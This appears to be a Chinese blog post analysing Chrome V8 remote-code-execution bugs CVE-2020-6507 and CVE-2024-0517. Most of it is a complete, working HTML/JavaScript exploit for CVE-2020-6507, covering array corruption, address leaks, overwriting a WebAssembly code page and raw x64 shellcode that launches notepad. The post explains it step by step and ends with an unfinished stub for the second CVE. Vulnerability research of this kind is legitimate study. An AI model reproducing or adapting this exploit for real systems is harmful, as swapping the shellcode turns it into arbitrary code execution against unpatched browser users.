Google Chrome RCE漏洞 CVE-2020-6507 和 CVE-2024-0517 流程分析

本文深入研究了两个在 Google Chrome 的 V8 JavaScript 引擎中发现的漏洞，分别是 CVE-2020-6507 和 CVE-2024-0517。这两个漏洞都涉及 V8 引擎的堆损坏问题，允许远程代码执行。通过EXP HTML部分的内存操作、垃圾回收等流程方式实施利用攻击。

CVE-2020-6507 漏洞存在于 Google Chrome 版本 83.0.4103.106 及之前的版本中，它允许攻击者进行越界写入，从而导致堆损坏。攻击者可以通过构建特定的 HTML 页面触发该漏洞，利用该漏洞可能导致严重的安全问题。

另一方面，CVE-2024-0517 漏洞发现于 Google Chrome 版本 120.0.6099.224 之前的版本，同样存在 V8 引擎的堆损坏问题。攻击者可以通过巧妙设计的 HTML 页面潜在地实施攻击。这个漏洞的修复在 2024 年 1 月的 Chrome 更新中得以解决。

漏洞编号： CVE-2020-6507
漏洞描述： 83.0.4103.106 之前的 Google Chrome 中的 V8 越界写入允许远程攻击者通过精心设计的 HTML 页面潜在地利用堆损坏。

漏洞编号： CVE-2024-0517
漏洞描述： 120.0.6099.224 之前的 Google Chrome 中的 V8 越界写入允许远程攻击者通过精心设计的 HTML 页面潜在地利用堆损坏。

一、了解什么是V8和JavaScript

两个CVE的漏洞都是V8引起那么我们简单认识一下，这个V8到底是什么东西？
答：V8 是 Google 的开源高性能 JavaScript 和 WebAssembly 引擎，用 C++ 编写。它用于 Chrome 和 Node.js 这个V8涉及内容及其的多如果需要完全吸收是需要花时间的，这里我把【Chrome 浏览器利用，第 1 部分：V8 和 JavaScript 内部结构简介】和【Chrome 浏览器利用，第 2 部分：通过 TurboFan 介绍 Ignition、Sparkplug 和 JIT 编译】放出来直接点击跳转到原文观看。

这里在添加一些参考V8的文章的内容【V8 / Chrome 架构阅读列表 - 适用于漏洞研究人员】

这张图，是从高层次的角度看到Chrome V8如何工作的完整流程。

下面这张图是“当 V8 编译 JavaScript 代码时，解析器会生成一个抽象语法树。语法树是JavaScript 代码语法结构的树表示。Ignition（解释器）从该语法树生成字节码。TurboFan，优化编译器，最终获取字节码并从中生成优化的机器代码。”

如果还是没看懂，那么看这张图或者这篇文章【Chrome V8 Engine - Working】，下图是整个V8引擎的运行流程。

二、CVE-2020-6507 复现环境：

Win10 + Google Chrome 86.0.4240.75

三、CVE-2020-6507 利用复现：

关闭沙箱安全使用命令进行关闭，在正常情况下，浏览器沙箱提供了一个受限制的执行环境，以防止恶意代码对用户系统的损害。关闭沙箱可能会导致浏览器执行环境的变化，使其更容易受到攻击。这在某些情况下可能有助于进行特定类型的漏洞研究和安全测试。

“C:\Program Files\Google\Chrome\Application\chrome.exe” -no-sandbox
在这里插入图片描述

四、EXP核心分析：

// 漏洞利用的HTML代码
<script>// 触发垃圾回收以促使后续的内存布局function gc() {for (var i = 0; i < 0x80000; ++i) {var a = new ArrayBuffer();}}// Shellcode，实际上是一个汇编代码的字节序列let shellcode = [...];  // 替换为实际的 shellcode// WebAssembly 模块的字节码数据var wasmCode = new Uint8Array([ /* WebAssembly 模块的字节码数据 */ ]);// 创建 WebAssembly 模块和实例var wasmModule = new WebAssembly.Module(wasmCode);var wasmInstance = new WebAssembly.Instance(wasmModule);var main = wasmInstance.exports.main;// ArrayBuffer 和 DataView 用于进行内存操作var bf = new ArrayBuffer(8);var bfView = new DataView(bf);// 获取浮点数的低32位function fLow(f) {bfView.setFloat64(0, f, true);return (bfView.getUint32(0, true));}// 获取浮点数的高32位function fHi(f) {bfView.setFloat64(0, f, true);return (bfView.getUint32(4, true))}// 合成一个双精度浮点数function i2f(low, hi) {bfView.setUint32(0, low, true);bfView.setUint32(4, hi, true);return bfView.getFloat64(0, true);}// 将浮点数转换为大端序的64位无符号整数function f2big(f) {bfView.setFloat64(0, f, true);return bfView.getBigUint64(0, true);}// 将大端序的64位无符号整数转换为浮点数function big2f(b) {bfView.setBigUint64(0, b, true);return bfView.getFloat64(0, true);}// 定义一个 ArrayBuffer 的子类，用于进行内存操作class LeakArrayBuffer extends ArrayBuffer {constructor(size) {super(size);this.slot = 0xb33f;}}// 在调用 foo 之前进行多次操作，包括触发垃圾回收function foo(a) {let x = -1;if (a) x = 0xFFFFFFFF;var arr = new Array(Math.sign(0 - Math.max(0, x, -1)));arr.shift();let local_arr = Array(2);local_arr[0] = 5.1;let buff = new LeakArrayBuffer(0x1000);arr[0] = 0x1122;return [arr, local_arr, buff];}for (var i = 0; i < 0x10000; ++i)foo(false);gc(); gc();// 调用 foo，获取相关数组和内存对象[corrput_arr, rwarr, corrupt_buff] = foo(true);// 利用漏洞进行内存操作corrput_arr[12] = 0x22444;delete corrput_arr;// 对内存进行操作，获取相关信息function setbackingStore(hi, low) {rwarr[4] = i2f(fLow(rwarr[4]), hi);rwarr[5] = i2f(low, fHi(rwarr[5]));}function leakObjLow(o) {corrupt_buff.slot = o;return (fLow(rwarr[9]) - 1);}let corrupt_view = new DataView(corrupt_buff);let corrupt_buffer_ptr_low = leakObjLow(corrupt_buff);let idx0Addr = corrupt_buffer_ptr_low - 0x10;let baseAddr = (corrupt_buffer_ptr_low & 0xffff0000) - ((corrupt_buffer_ptr_low & 0xffff0000) % 0x40000) + 0x40000;let delta = baseAddr + 0x1c - idx0Addr;if ((delta % 8) == 0) {let baseIdx = delta / 8;this.base = fLow(rwarr[baseIdx]);} else {let baseIdx = ((delta - (delta % 8)) / 8);this.base = fHi(rwarr[baseIdx]);}let wasmInsAddr = leakObjLow(wasmInstance);setbackingStore(wasmInsAddr, this.base);let code_entry = corrupt_view.getFloat64(13 * 8, true);setbackingStore(fLow(code_entry), fHi(code_entry));// 替换 shellcode 并执行for (let i = 0; i < shellcode.length; i++) {corrupt_view.setUint8(i, shellcode[i]);}// 执行 WebAssembly 的入口函数main();
</script>

有一个小问题，我直接使用谷歌浏览器打开这个exp.html时是没有反应的包括默认开打浏览器都不行，需要在谷歌浏览器的地址上输入exp地址才可以执行。所以这个漏洞的一个行为是值得浅析一下的，下面是我的大概一个理解。
这里是通过直接输入EXP行为导致触发

在浏览器中直接打开 HTML 文件时可能会受到一些安全策略的限制，而在地址栏中输入地址可能会绕过一些限制。这是因为在本地文件系统中直接打开
HTML 文件与通过 HTTP 协议在浏览器中打开页面有一些不同。
浏览器在直接打开本地文件时，可能会将该文件视为“本地”或“不安全”的上下文，并因此应用更严格的安全策略。这可能包括限制某些 JavaScript 功能或禁止执行某些类型的脚本。这是为了防止潜在的安全风险，因为本地文件可能会利用用户系统上的资源。
通过在地址栏中输入地址，你实际上是通过 HTTP 协议从浏览器获取页面，而不是直接从文件系统中加载。在这种情况下，浏览器可能会将页面视为更“安全”的上下文，并放宽一些限制。
这种行为可能是浏览器的一个特定实现，而不同的浏览器可能会有不同的行为。如果你的目标是在本地测试漏洞或脚本，最好的做法是将文件部署到本地服务器上，并通过HTTP协议在浏览器中打开。这样可以更好地模拟实际网络环境，同时减轻一些本地文件系统访问的限制，通过上面的一些描述可以很清楚认定这个行为。

其实在另外一种思路上，如果是直接可以打开直接执行命令，那么就可以绕过谷歌浏览器的这个机制限制，当然这个思路也可能是不存在或不能实现的一种。当然还有一个就是这个漏洞的沙箱逃逸，根据以往一些国外大佬进行逃逸并未成功！

EXP的核心步骤拆解分析

核心在于JavaScript代码是一个漏洞利用脚本，其核心部分在于实现了一系列操作，以触发浏览器漏洞并执行特定的shellcode，最终实现在浏览器中弹出记事本的效果。这篇文章里面我们可以接触到谷歌浏览器的垃圾回收也称为（WasmGC）https://developer.chrome.com/blog/wasmgc?hl=zh-cn#garbage_collection

让我们逐步分析这个脚本的核心要点：

内存操作：

使用ArrayBuffer对象进行内存分配，其中gc函数用于触发垃圾回收，以促使后续的内存布局。

ArrayBuffer 是 JavaScript 中的对象，用于表示通用的、固定长度的原始二进制数据缓冲区。它在 JavaScript 中的主要作用是提供一种机制，使得 JavaScript 能够直接操作二进制数据而无需通过字符串。

EXP代码中，ArrayBuffer 主要用于进行内存操作，通过创建 ArrayBuffer 实例并使用 DataView 来对其中的二进制数据进行读写。这些操作是为了进行浮点数和整数之间的转换，以及实现对内存的底层控制，从而进行漏洞利用。

定义了一系列与内存操作相关的函数，如fLow、fHi、i2f、f2big、big2f等，用于处理浮点数和整数之间的转换。

对浮点数和整数之间的转换通常是为了绕过一些数值的限制、操作系统的保护机制，或者触发特定的漏洞。这里简要说明这些函数的作用：
fLow(f): 将浮点数 f 的低 32 位提取出来。在这里可能用于获取浮点数的底层二进制表示的一部分。
fHi(f): 将浮点数 f 的高 32 位提取出来。同样，用于获取浮点数的底层二进制表示的一部分。
i2f(low, hi): 将两个整数 low 和 hi 合成一个双精度浮点数。这个操作可能用于将提取出的浮点数的低 32 位和高 32 位重新组合成一个浮点数。
f2big(f): 将浮点数 f 转换为一个大端序的 64 位无符号整数。这可能用于将浮点数的二进制表示直接当做整数进行处理。
big2f(b): 将大端序的 64 位无符号整数 b 转换为浮点数。这可能用于将整数的二进制表示直接当做浮点数进行处理。

<script>// 触发垃圾回收，促使后续的内存布局function gc() {for (var i = 0; i < 0x80000; ++i) {var a = new ArrayBuffer();}}// ... (其他代码)// 创建一个包含8字节的ArrayBuffer对象var bf = new ArrayBuffer(8);var bfView = new DataView(bf);// 以下是一系列处理浮点数和整数之间转换的函数// fLow: 获取浮点数的低32位function fLow(f) {bfView.setFloat64(0, f, true);return (bfView.getUint32(0, true));}// fHi: 获取浮点数的高32位function fHi(f) {bfView.setFloat64(0, f, true);return (bfView.getUint32(4, true))}// i2f: 将低32位和高32位整数转换成浮点数function i2f(low, hi) {bfView.setUint32(0, low, true);bfView.setUint32(4, hi, true);return bfView.getFloat64(0, true);}// f2big: 将浮点数转换成大端格式的64位整数function f2big(f) {bfView.setFloat64(0, f, true);return bfView.getBigUint64(0, true);}// big2f: 将大端格式的64位整数转换成浮点数function big2f(b) {bfView.setBigUint64(0, b, true);return bfView.getFloat64(0, true);}
</script>

gc 函数通过循环创建了大量的 ArrayBuffer 对象，以触发垃圾回收。
接着定义了一系列与内存操作相关的函数，如fLow、fHi、i2f、f2big、big2f 等，这些函数用于处理浮点数和整数之间的转换。

WebAssembly 操作：

知识点认识：WebAssembly（Wasm）是一种用于在浏览器中运行高性能代码的二进制指令集。在谷歌浏览器中，WebAssembly 模块可以通过与 JavaScript 代码进行交互，这个漏洞又与谷歌浏览器的 V8 JavaScript 引擎有关

定义了一个包含 WebAssembly 字节码的 Uint8Array 对象，并创建了 WebAssembly 模块和实例。
main 函数是 WebAssembly 模块的入口点。

<script>// ... (其他代码)// 定义一个包含 WebAssembly 模块字节码数据的 Uint8Arrayvar wasmCode = new Uint8Array([ /* WebAssembly 模块的字节码数据 */ ]);// 创建一个 WebAssembly 模块var wasmModule = new WebAssembly.Module(wasmCode);// 创建一个 WebAssembly 实例var wasmInstance = new WebAssembly.Instance(wasmModule);// 获取 WebAssembly 模块的导出函数 mainvar main = wasmInstance.exports.main;// ... (其他代码)
</script>

wasmCode 定义了一个 Uint8Array，其中包含了 WebAssembly 模块的字节码数据。
通过
WebAssembly.Module 创建了一个 WebAssembly 模块。
通过 WebAssembly.Instance创建了一个 WebAssembly 实例，并将其中的 main 函数赋值给了变量 main。
这部分代码涉及到 WebAssembly的加载和执行，其中 main 函数的调用触发了对应 WebAssembly 模块中的代码执行。

漏洞触发：

利用特定的操作和计算，触发了浏览器漏洞，包括操作Array和ArrayBuffer等对象。

Shellcode 注入：

定义了一个名为 shellcode 的数组，其中包含一段特定的二进制代码。这段代码是汇编代码，用于执行特定的操作，这里是弹出记事本。

内存布局操作：

通过一系列的内存操作，计算出一些关键地址，包括 baseAddr、wasmInsAddr 和 code_entry。
setbackingStore 函数用于修改内存中的值，实现对关键地址的设置。

// 设置 backingStore 函数，用于将两个 32 位整数写入数组 rwarr 中的浮点数元素
// hi: 要写入的高位整数，low: 要写入的低位整数
function setbackingStore(hi, low) {rwarr[4] = i2f(fLow(rwarr[4]), hi);  // 将高位整数写入 rwarr[4]rwarr[5] = i2f(low, fHi(rwarr[5]));   // 将低位整数写入 rwarr[5]
}// 泄漏对象低位地址函数
// o: 要泄漏低位地址的对象
function leakObjLow(o) {corrupt_buff.slot = o;  // 将对象设置到 ArrayBuffer 的 slot 属性中return (fLow(rwarr[9]) - 1);  // 泄漏对象低位地址
}let corrupt_view = new DataView(corrupt_buff);// 获取 ArrayBuffer 的低位地址，用于后续计算
let corrupt_buffer_ptr_low = leakObjLow(corrupt_buff);// 计算偏移地址
let idx0Addr = corrupt_buffer_ptr_low - 0x10;
let baseAddr = (corrupt_buffer_ptr_low & 0xffff0000) - ((corrupt_buffer_ptr_low & 0xffff0000) % 0x40000) + 0x40000;
let delta = baseAddr + 0x1c - idx0Addr;// 根据偏移地址确定 base 指向的是数组 rwarr 中的哪个元素
if ((delta % 8) == 0) {let baseIdx = delta / 8;this.base = fLow(rwarr[baseIdx]);
} else {let baseIdx = ((delta - (delta % 8)) / 8);this.base = fHi(rwarr[baseIdx]);
}// 泄漏 WebAssembly 实例的低位地址
let wasmInsAddr = leakObjLow(wasmInstance);// 将泄漏的 WebAssembly 实例地址和 base 写入 backingStore 中
setbackingStore(wasmInsAddr, this.base);// 从 DataView 中获取地址指向的浮点数，即 WebAssembly 的代码入口地址
let code_entry = corrupt_view.getFloat64(13 * 8, true);// 将代码入口地址写入 backingStore 中
setbackingStore(fLow(code_entry), fHi(code_entry));

最终执行：

在整个过程的最后，通过调用 main 函数，触发了 WebAssembly 模块的执行，并在其中执行了之前注入的 shellcode。

这里是完整的一个EXP，弹出记事本！

// exploit.html
<script>function gc() {for (var i = 0; i < 0x80000; ++i) {var a = new ArrayBuffer();}}let shellcode = [0xFC, 0x48, 0x83, 0xE4, 0xF0, 0xE8, 0xC0, 0x00, 0x00, 0x00, 0x41, 0x51, 0x41, 0x50, 0x52, 0x51,0x56, 0x48, 0x31, 0xD2, 0x65, 0x48, 0x8B, 0x52, 0x60, 0x48, 0x8B, 0x52, 0x18, 0x48, 0x8B, 0x52,0x20, 0x48, 0x8B, 0x72, 0x50, 0x48, 0x0F, 0xB7, 0x4A, 0x4A, 0x4D, 0x31, 0xC9, 0x48, 0x31, 0xC0,0xAC, 0x3C, 0x61, 0x7C, 0x02, 0x2C, 0x20, 0x41, 0xC1, 0xC9, 0x0D, 0x41, 0x01, 0xC1, 0xE2, 0xED,0x52, 0x41, 0x51, 0x48, 0x8B, 0x52, 0x20, 0x8B, 0x42, 0x3C, 0x48, 0x01, 0xD0, 0x8B, 0x80, 0x88,0x00, 0x00, 0x00, 0x48, 0x85, 0xC0, 0x74, 0x67, 0x48, 0x01, 0xD0, 0x50, 0x8B, 0x48, 0x18, 0x44,0x8B, 0x40, 0x20, 0x49, 0x01, 0xD0, 0xE3, 0x56, 0x48, 0xFF, 0xC9, 0x41, 0x8B, 0x34, 0x88, 0x48,0x01, 0xD6, 0x4D, 0x31, 0xC9, 0x48, 0x31, 0xC0, 0xAC, 0x41, 0xC1, 0xC9, 0x0D, 0x41, 0x01, 0xC1,0x38, 0xE0, 0x75, 0xF1, 0x4C, 0x03, 0x4C, 0x24, 0x08, 0x45, 0x39, 0xD1, 0x75, 0xD8, 0x58, 0x44,0x8B, 0x40, 0x24, 0x49, 0x01, 0xD0, 0x66, 0x41, 0x8B, 0x0C, 0x48, 0x44, 0x8B, 0x40, 0x1C, 0x49,0x01, 0xD0, 0x41, 0x8B, 0x04, 0x88, 0x48, 0x01, 0xD0, 0x41, 0x58, 0x41, 0x58, 0x5E, 0x59, 0x5A,0x41, 0x58, 0x41, 0x59, 0x41, 0x5A, 0x48, 0x83, 0xEC, 0x20, 0x41, 0x52, 0xFF, 0xE0, 0x58, 0x41,0x59, 0x5A, 0x48, 0x8B, 0x12, 0xE9, 0x57, 0xFF, 0xFF, 0xFF, 0x5D, 0x48, 0xBA, 0x01, 0x00, 0x00,0x00, 0x00, 0x00, 0x00, 0x00, 0x48, 0x8D, 0x8D, 0x01, 0x01, 0x00, 0x00, 0x41, 0xBA, 0x31, 0x8B,0x6F, 0x87, 0xFF, 0xD5, 0xBB, 0xF0, 0xB5, 0xA2, 0x56, 0x41, 0xBA, 0xA6, 0x95, 0xBD, 0x9D, 0xFF,0xD5, 0x48, 0x83, 0xC4, 0x28, 0x3C, 0x06, 0x7C, 0x0A, 0x80, 0xFB, 0xE0, 0x75, 0x05, 0xBB, 0x47,0x13, 0x72, 0x6F, 0x6A, 0x00, 0x59, 0x41, 0x89, 0xDA, 0xFF, 0xD5, 0x6E, 0x6F, 0x74, 0x65, 0x70,0x61, 0x64, 0x2E, 0x65, 0x78, 0x65, 0x00];var wasmCode = new Uint8Array([0, 97, 115, 109, 1, 0, 0, 0, 1, 133, 128, 128, 128, 0, 1, 96, 0, 1, 127, 3, 130, 128, 128, 128, 0, 1, 0, 4, 132, 128, 128, 128, 0, 1, 112, 0, 0, 5, 131, 128, 128, 128, 0, 1, 0, 1, 6, 129, 128, 128, 128, 0, 0, 7, 145, 128, 128, 128, 0, 2, 6, 109, 101, 109, 111, 114, 121, 2, 0, 4, 109, 97, 105, 110, 0, 0, 10, 138, 128, 128, 128, 0, 1, 132, 128, 128, 128, 0, 0, 65, 42, 11]);var wasmModule = new WebAssembly.Module(wasmCode);var wasmInstance = new WebAssembly.Instance(wasmModule);var main = wasmInstance.exports.main;var bf = new ArrayBuffer(8);var bfView = new DataView(bf);function fLow(f) {bfView.setFloat64(0, f, true);return (bfView.getUint32(0, true));}function fHi(f) {bfView.setFloat64(0, f, true);return (bfView.getUint32(4, true))}function i2f(low, hi) {bfView.setUint32(0, low, true);bfView.setUint32(4, hi, true);return bfView.getFloat64(0, true);}function f2big(f) {bfView.setFloat64(0, f, true);return bfView.getBigUint64(0, true);}function big2f(b) {bfView.setBigUint64(0, b, true);return bfView.getFloat64(0, true);}class LeakArrayBuffer extends ArrayBuffer {constructor(size) {super(size);this.slot = 0xb33f;}}function foo(a) {let x = -1;if (a) x = 0xFFFFFFFF;var arr = new Array(Math.sign(0 - Math.max(0, x, -1)));arr.shift();let local_arr = Array(2);local_arr[0] = 5.1;//4014666666666666let buff = new LeakArrayBuffer(0x1000);//byteLength idx=8arr[0] = 0x1122;return [arr, local_arr, buff];}for (var i = 0; i < 0x10000; ++i)foo(false);gc(); gc();[corrput_arr, rwarr, corrupt_buff] = foo(true);corrput_arr[12] = 0x22444;delete corrput_arr;function setbackingStore(hi, low) {rwarr[4] = i2f(fLow(rwarr[4]), hi);rwarr[5] = i2f(low, fHi(rwarr[5]));}function leakObjLow(o) {corrupt_buff.slot = o;return (fLow(rwarr[9]) - 1);}let corrupt_view = new DataView(corrupt_buff);let corrupt_buffer_ptr_low = leakObjLow(corrupt_buff);let idx0Addr = corrupt_buffer_ptr_low - 0x10;let baseAddr = (corrupt_buffer_ptr_low & 0xffff0000) - ((corrupt_buffer_ptr_low & 0xffff0000) % 0x40000) + 0x40000;let delta = baseAddr + 0x1c - idx0Addr;if ((delta % 8) == 0) {let baseIdx = delta / 8;this.base = fLow(rwarr[baseIdx]);} else {let baseIdx = ((delta - (delta % 8)) / 8);this.base = fHi(rwarr[baseIdx]);}let wasmInsAddr = leakObjLow(wasmInstance);setbackingStore(wasmInsAddr, this.base);let code_entry = corrupt_view.getFloat64(13 * 8, true);setbackingStore(fLow(code_entry), fHi(code_entry));for (let i = 0; i < shellcode.length; i++) {corrupt_view.setUint8(i, shellcode[i]);}main();
</script>

五、Google Chrome V8 CVE-2024-0517 越界写入代码执行

漏洞介绍：该漏洞源于 V8 的 Maglev 编译器尝试编译具有父类的类的方式。在这种情况下，编译器必须查找所有父类及其构造函数，并且在执行此操作时会引入漏洞。1月份通报的漏洞预警中与上面的2021年Google Chrome RCE漏洞区别较大，CVE-2024-0517是 … …这里明天再写我直接发稿先…晚了